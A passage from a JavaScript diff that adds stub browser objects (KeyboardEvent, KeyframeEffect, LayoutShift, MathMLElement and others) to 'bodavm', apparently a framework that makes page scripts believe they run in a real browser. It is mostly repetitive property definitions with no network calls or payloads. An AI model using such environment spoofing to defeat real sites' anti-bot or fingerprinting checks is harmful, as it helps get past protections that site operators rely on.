configurable: true, + enumerable: true, + get: function charCode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardEvent'].prototype, "KeyboardEvent", "charCode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('KeyboardEvent', "keyCode", { + configurable: true, + enumerable: true, + get: function keyCode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardEvent'].prototype, "KeyboardEvent", "keyCode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('KeyboardEvent', "DOM_KEY_LOCATION_STANDARD", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('KeyboardEvent', "DOM_KEY_LOCATION_LEFT", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('KeyboardEvent', "DOM_KEY_LOCATION_RIGHT", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('KeyboardEvent', "DOM_KEY_LOCATION_NUMPAD", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('KeyboardEvent', "getModifierState", { + configurable: true, + enumerable: true, + writable: true, + value: function getModifierState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardEvent'].prototype, "KeyboardEvent", "getModifierState", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('KeyboardEvent', "initKeyboardEvent", { + configurable: true, + enumerable: true, + writable: true, + value: function initKeyboardEvent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardEvent'].prototype, "KeyboardEvent", "initKeyboardEvent", arguments); + } +}, 'prototype'); +// KeyboardLayoutMap对象 + +bodavm.memory.globalobj['KeyboardLayoutMap'] = function KeyboardLayoutMap() { + console.log_copy('KeyboardLayoutMap 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof KeyboardLayoutMap)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['KeyboardLayoutMap'], "KeyboardLayoutMap"); +bodavm.toolsFunc.defineProperty('KeyboardLayoutMap', "size", { + configurable: true, + enumerable: true, + get: function size() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardLayoutMap'].prototype, "KeyboardLayoutMap", "size_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('KeyboardLayoutMap', "entries", { + configurable: true, + enumerable: true, + writable: true, + value: function entries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardLayoutMap'].prototype, "KeyboardLayoutMap", "entries", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('KeyboardLayoutMap', "forEach", { + configurable: true, + enumerable: true, + writable: true, + value: function forEach() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardLayoutMap'].prototype, "KeyboardLayoutMap", "forEach", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('KeyboardLayoutMap', "get", { + configurable: true, + enumerable: true, + writable: true, + value: function get() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardLayoutMap'].prototype, "KeyboardLayoutMap", "get", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('KeyboardLayoutMap', "has", { + configurable: true, + enumerable: true, + writable: true, + value: function has() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardLayoutMap'].prototype, "KeyboardLayoutMap", "has", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('KeyboardLayoutMap', "keys", { + configurable: true, + enumerable: true, + writable: true, + value: function keys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardLayoutMap'].prototype, "KeyboardLayoutMap", "keys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('KeyboardLayoutMap', "values", { + configurable: true, + enumerable: true, + writable: true, + value: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyboardLayoutMap'].prototype, "KeyboardLayoutMap", "values", arguments); + } +}, 'prototype'); +// KeyframeEffect对象 + +bodavm.memory.globalobj['KeyframeEffect'] = function KeyframeEffect() { + console.log_copy('KeyframeEffect 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof KeyframeEffect)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'KeyframeEffect': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['KeyframeEffect'], "KeyframeEffect"); +bodavm.memory.globalobj['KeyframeEffect'].prototype.__proto__ = bodavm.memory.globalobj['AnimationEffect'].prototype; +bodavm.memory.globalobj['KeyframeEffect'].__proto__ = bodavm.memory.globalobj['AnimationEffect']; +bodavm.toolsFunc.defineProperty('KeyframeEffect', "target", { + configurable: true, + enumerable: true, + get: function target() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyframeEffect'].prototype, "KeyframeEffect", "target_get", arguments); + }, + set: function target() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyframeEffect'].prototype, "KeyframeEffect", "target_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('KeyframeEffect', "pseudoElement", { + configurable: true, + enumerable: true, + get: function pseudoElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyframeEffect'].prototype, "KeyframeEffect", "pseudoElement_get", arguments); + }, + set: function pseudoElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyframeEffect'].prototype, "KeyframeEffect", "pseudoElement_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('KeyframeEffect', "composite", { + configurable: true, + enumerable: true, + get: function composite() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyframeEffect'].prototype, "KeyframeEffect", "composite_get", arguments); + }, + set: function composite() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyframeEffect'].prototype, "KeyframeEffect", "composite_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('KeyframeEffect', "getKeyframes", { + configurable: true, + enumerable: true, + writable: true, + value: function getKeyframes() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyframeEffect'].prototype, "KeyframeEffect", "getKeyframes", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('KeyframeEffect', "setKeyframes", { + configurable: true, + enumerable: true, + writable: true, + value: function setKeyframes() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['KeyframeEffect'].prototype, "KeyframeEffect", "setKeyframes", arguments); + } +}, 'prototype'); +// LargestContentfulPaint对象 + +bodavm.memory.globalobj['LargestContentfulPaint'] = function LargestContentfulPaint() { + console.log_copy('LargestContentfulPaint 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof LargestContentfulPaint)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['LargestContentfulPaint'], "LargestContentfulPaint"); +bodavm.memory.globalobj['LargestContentfulPaint'].prototype.__proto__ = bodavm.memory.globalobj['PerformanceEntry'].prototype; +bodavm.memory.globalobj['LargestContentfulPaint'].__proto__ = bodavm.memory.globalobj['PerformanceEntry']; +bodavm.toolsFunc.defineProperty('LargestContentfulPaint', "renderTime", { + configurable: true, + enumerable: true, + get: function renderTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LargestContentfulPaint'].prototype, "LargestContentfulPaint", "renderTime_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('LargestContentfulPaint', "loadTime", { + configurable: true, + enumerable: true, + get: function loadTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LargestContentfulPaint'].prototype, "LargestContentfulPaint", "loadTime_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('LargestContentfulPaint', "size", { + configurable: true, + enumerable: true, + get: function size() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LargestContentfulPaint'].prototype, "LargestContentfulPaint", "size_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('LargestContentfulPaint', "id", { + configurable: true, + enumerable: true, + get: function id() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LargestContentfulPaint'].prototype, "LargestContentfulPaint", "id_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('LargestContentfulPaint', "url", { + configurable: true, + enumerable: true, + get: function url() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LargestContentfulPaint'].prototype, "LargestContentfulPaint", "url_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('LargestContentfulPaint', "element", { + configurable: true, + enumerable: true, + get: function element() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LargestContentfulPaint'].prototype, "LargestContentfulPaint", "element_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('LargestContentfulPaint', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LargestContentfulPaint'].prototype, "LargestContentfulPaint", "toJSON", arguments); + } +}, 'prototype'); +// LaunchParams对象 + +bodavm.memory.globalobj['LaunchParams'] = function LaunchParams() { + console.log_copy('LaunchParams 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof LaunchParams)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['LaunchParams'], "LaunchParams"); +bodavm.toolsFunc.defineProperty('LaunchParams', "targetURL", { + configurable: true, + enumerable: true, + get: function targetURL() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LaunchParams'].prototype, "LaunchParams", "targetURL_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('LaunchParams', "files", { + configurable: true, + enumerable: true, + get: function files() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LaunchParams'].prototype, "LaunchParams", "files_get", arguments); + }, + set: undefined +}, 'prototype'); +// LaunchQueue对象 + +bodavm.memory.globalobj['LaunchQueue'] = function LaunchQueue() { + console.log_copy('LaunchQueue 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof LaunchQueue)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['LaunchQueue'], "LaunchQueue"); +bodavm.toolsFunc.defineProperty('LaunchQueue', "setConsumer", { + configurable: true, + enumerable: true, + writable: true, + value: function setConsumer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LaunchQueue'].prototype, "LaunchQueue", "setConsumer", arguments); + } +}, 'prototype'); + +// launchQueue对象 + +bodavm.memory.globalobj['launchQueue'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['launchQueue'].__proto__ = bodavm.memory.globalobj['LaunchQueue'].prototype; +// LayoutShift对象 + +bodavm.memory.globalobj['LayoutShift'] = function LayoutShift() { + console.log_copy('LayoutShift 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof LayoutShift)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['LayoutShift'], "LayoutShift"); +bodavm.memory.globalobj['LayoutShift'].prototype.__proto__ = bodavm.memory.globalobj['PerformanceEntry'].prototype; +bodavm.memory.globalobj['LayoutShift'].__proto__ = bodavm.memory.globalobj['PerformanceEntry']; +bodavm.toolsFunc.defineProperty('LayoutShift', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LayoutShift'].prototype, "LayoutShift", "value_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('LayoutShift', "hadRecentInput", { + configurable: true, + enumerable: true, + get: function hadRecentInput() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LayoutShift'].prototype, "LayoutShift", "hadRecentInput_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('LayoutShift', "lastInputTime", { + configurable: true, + enumerable: true, + get: function lastInputTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LayoutShift'].prototype, "LayoutShift", "lastInputTime_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('LayoutShift', "sources", { + configurable: true, + enumerable: true, + get: function sources() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LayoutShift'].prototype, "LayoutShift", "sources_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('LayoutShift', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LayoutShift'].prototype, "LayoutShift", "toJSON", arguments); + } +}, 'prototype'); +// LayoutShiftAttribution对象 + +bodavm.memory.globalobj['LayoutShiftAttribution'] = function LayoutShiftAttribution() { + console.log_copy('LayoutShiftAttribution 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof LayoutShiftAttribution)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['LayoutShiftAttribution'], "LayoutShiftAttribution"); +bodavm.toolsFunc.defineProperty('LayoutShiftAttribution', "node", { + configurable: true, + enumerable: true, + get: function node() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LayoutShiftAttribution'].prototype, "LayoutShiftAttribution", "node_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('LayoutShiftAttribution', "previousRect", { + configurable: true, + enumerable: true, + get: function previousRect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LayoutShiftAttribution'].prototype, "LayoutShiftAttribution", "previousRect_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('LayoutShiftAttribution', "currentRect", { + configurable: true, + enumerable: true, + get: function currentRect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LayoutShiftAttribution'].prototype, "LayoutShiftAttribution", "currentRect_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('LayoutShiftAttribution', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LayoutShiftAttribution'].prototype, "LayoutShiftAttribution", "toJSON", arguments); + } +}, 'prototype'); +// LinearAccelerationSensor对象 + +bodavm.memory.globalobj['LinearAccelerationSensor'] = function LinearAccelerationSensor() { + console.log_copy('LinearAccelerationSensor 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.LinearAccelerationSensor(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['LinearAccelerationSensor'], "LinearAccelerationSensor"); +bodavm.memory.globalobj['LinearAccelerationSensor'].prototype.__proto__ = bodavm.memory.globalobj['Accelerometer'].prototype; +bodavm.memory.globalobj['LinearAccelerationSensor'].__proto__ = bodavm.memory.globalobj['Accelerometer']; +// localStorage对象 + +bodavm.memory.globalobj['localStorage'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['localStorage'].__proto__ = bodavm.memory.globalobj['Storage'].prototype; +// locationbar对象 + +bodavm.memory.globalobj['locationbar'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['locationbar'].__proto__ = bodavm.memory.globalobj['BarProp'].prototype; +// Lock对象 + +bodavm.memory.globalobj['Lock'] = function Lock() { + console.log_copy('Lock 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Lock)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Lock'], "Lock"); +bodavm.toolsFunc.defineProperty('Lock', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Lock'].prototype, "Lock", "name_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Lock', "mode", { + configurable: true, + enumerable: true, + get: function mode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Lock'].prototype, "Lock", "mode_get", arguments); + }, + set: undefined +}, 'prototype'); +// matchMedia对象 + +bodavm.memory.globalobj['matchMedia'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('matchMedia', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('matchMedia', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "matchMedia" +}); +// MathMLElement对象 + +bodavm.memory.globalobj['MathMLElement'] = function MathMLElement() { + console.log_copy('MathMLElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MathMLElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MathMLElement'], "MathMLElement"); +bodavm.memory.globalobj['MathMLElement'].prototype.__proto__ = bodavm.memory.globalobj['Element'].prototype; +bodavm.memory.globalobj['MathMLElement'].__proto__ = bodavm.memory.globalobj['Element']; +bodavm.toolsFunc.defineProperty('MathMLElement', "onbeforexrselect", { + configurable: true, + enumerable: true, + get: function onbeforexrselect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onbeforexrselect_get", arguments); + }, + set: function onbeforexrselect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onbeforexrselect_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onabort", { + configurable: true, + enumerable: true, + get: function onabort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onabort_get", arguments); + }, + set: function onabort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onabort_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onbeforeinput", { + configurable: true, + enumerable: true, + get: function onbeforeinput() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onbeforeinput_get", arguments); + }, + set: function onbeforeinput() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onbeforeinput_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onblur", { + configurable: true, + enumerable: true, + get: function onblur() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onblur_get", arguments); + }, + set: function onblur() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onblur_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "oncancel", { + configurable: true, + enumerable: true, + get: function oncancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncancel_get", arguments); + }, + set: function oncancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncancel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "oncanplay", { + configurable: true, + enumerable: true, + get: function oncanplay() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncanplay_get", arguments); + }, + set: function oncanplay() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncanplay_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "oncanplaythrough", { + configurable: true, + enumerable: true, + get: function oncanplaythrough() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncanplaythrough_get", arguments); + }, + set: function oncanplaythrough() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncanplaythrough_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onchange", { + configurable: true, + enumerable: true, + get: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onchange_get", arguments); + }, + set: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onclick", { + configurable: true, + enumerable: true, + get: function onclick() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onclick_get", arguments); + }, + set: function onclick() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onclick_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onclose", { + configurable: true, + enumerable: true, + get: function onclose() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onclose_get", arguments); + }, + set: function onclose() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onclose_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "oncontextlost", { + configurable: true, + enumerable: true, + get: function oncontextlost() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncontextlost_get", arguments); + }, + set: function oncontextlost() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncontextlost_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "oncontextmenu", { + configurable: true, + enumerable: true, + get: function oncontextmenu() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncontextmenu_get", arguments); + }, + set: function oncontextmenu() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncontextmenu_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "oncontextrestored", { + configurable: true, + enumerable: true, + get: function oncontextrestored() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncontextrestored_get", arguments); + }, + set: function oncontextrestored() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncontextrestored_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "oncuechange", { + configurable: true, + enumerable: true, + get: function oncuechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncuechange_get", arguments); + }, + set: function oncuechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncuechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "ondblclick", { + configurable: true, + enumerable: true, + get: function ondblclick() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondblclick_get", arguments); + }, + set: function ondblclick() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondblclick_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "ondrag", { + configurable: true, + enumerable: true, + get: function ondrag() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondrag_get", arguments); + }, + set: function ondrag() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondrag_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "ondragend", { + configurable: true, + enumerable: true, + get: function ondragend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondragend_get", arguments); + }, + set: function ondragend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondragend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "ondragenter", { + configurable: true, + enumerable: true, + get: function ondragenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondragenter_get", arguments); + }, + set: function ondragenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondragenter_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "ondragleave", { + configurable: true, + enumerable: true, + get: function ondragleave() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondragleave_get", arguments); + }, + set: function ondragleave() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondragleave_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "ondragover", { + configurable: true, + enumerable: true, + get: function ondragover() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondragover_get", arguments); + }, + set: function ondragover() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondragover_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "ondragstart", { + configurable: true, + enumerable: true, + get: function ondragstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondragstart_get", arguments); + }, + set: function ondragstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondragstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "ondrop", { + configurable: true, + enumerable: true, + get: function ondrop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondrop_get", arguments); + }, + set: function ondrop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondrop_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "ondurationchange", { + configurable: true, + enumerable: true, + get: function ondurationchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondurationchange_get", arguments); + }, + set: function ondurationchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondurationchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onemptied", { + configurable: true, + enumerable: true, + get: function onemptied() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onemptied_get", arguments); + }, + set: function onemptied() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onemptied_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MathMLElement', "onended", { + configurable: true, + enumerable: true, + get: function onended() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onended_get", 